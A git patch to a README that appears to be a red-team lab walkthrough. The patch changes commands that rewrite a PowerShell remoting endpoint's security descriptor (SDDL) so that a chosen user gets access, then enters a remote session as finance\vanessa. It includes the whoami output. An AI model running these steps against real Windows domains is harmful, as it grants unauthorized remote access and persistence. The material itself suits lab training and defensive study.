From 8caf11ff5ffaeffa540d411d8ccb810031b47d16 Mon Sep 17 00:00:00 2001 From: HitmanAlharbi <36328177+HitmanAlharbi@users.noreply.github.com> Date: Thu, 10 Mar 2022 22:32:15 +0300 Subject: [PATCH] Typo :D --- README.md | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/README.md b/README.md index d49601f..ad4d7b2 100644 --- a/README.md +++ b/README.md @@ -774,14 +774,16 @@ Alias clear -> Clear-Host Function Set-PSSessionConfiguration ... -// Let's change the SDDLS of admin configuration and allow our user to access +// Let's change the SDDL of microsoft.powershell32 configuration and allow our user to access -[finance-vanessa.gcbfinance.local]: PS>Set-PSSessionConfiguration -Name ITAdmin -SecurityDescriptorSddl "O:NSG:BAD:P(A;;GAGXGWGR;;;S-1-5-21-1708299476-1681750518-2103560891-1104)S:P(AU;FA;GA;;;WD)(AU;SA;GXGW;;;WD)" +[finance-vanessa.gcbfinance.local]: PS>Set-PSSessionConfiguration -Name microsoft.powershell32 -SecurityDescriptorSddl "O:NSG:BAD:P(A;;GAGXGWGR;;;S-1-5-21-1708299476-1681750518-2103560891-1104)S:P(AU;FA;GA;;;WD)(AU;SA;GXGW;;;WD)" // Now we can access :D -PS C:\Users\itemployee14\Desktop\PS modules> Enter-PSSession -ComputerName finance-vanessa.gcbfinance.local -ConfigurationName ITAdmin -Credential finance\vanessa -[finance-vanessa.gcbfinance.local]: PS> +PS C:\Users\itemployee14\Desktop\PS modules> Enter-PSSession -ComputerName finance-vanessa.gcbfinance.local -ConfigurationName microsoft.powershell32 -Credential finance\vanessa +[finance-vanessa.gcbfinance.local]: PS C:\Users\vanessa\Documents> whoami +finance\vanessa +[finance-vanessa.gcbfinance.local]: PS C:\Users\vanessa\Documents> ```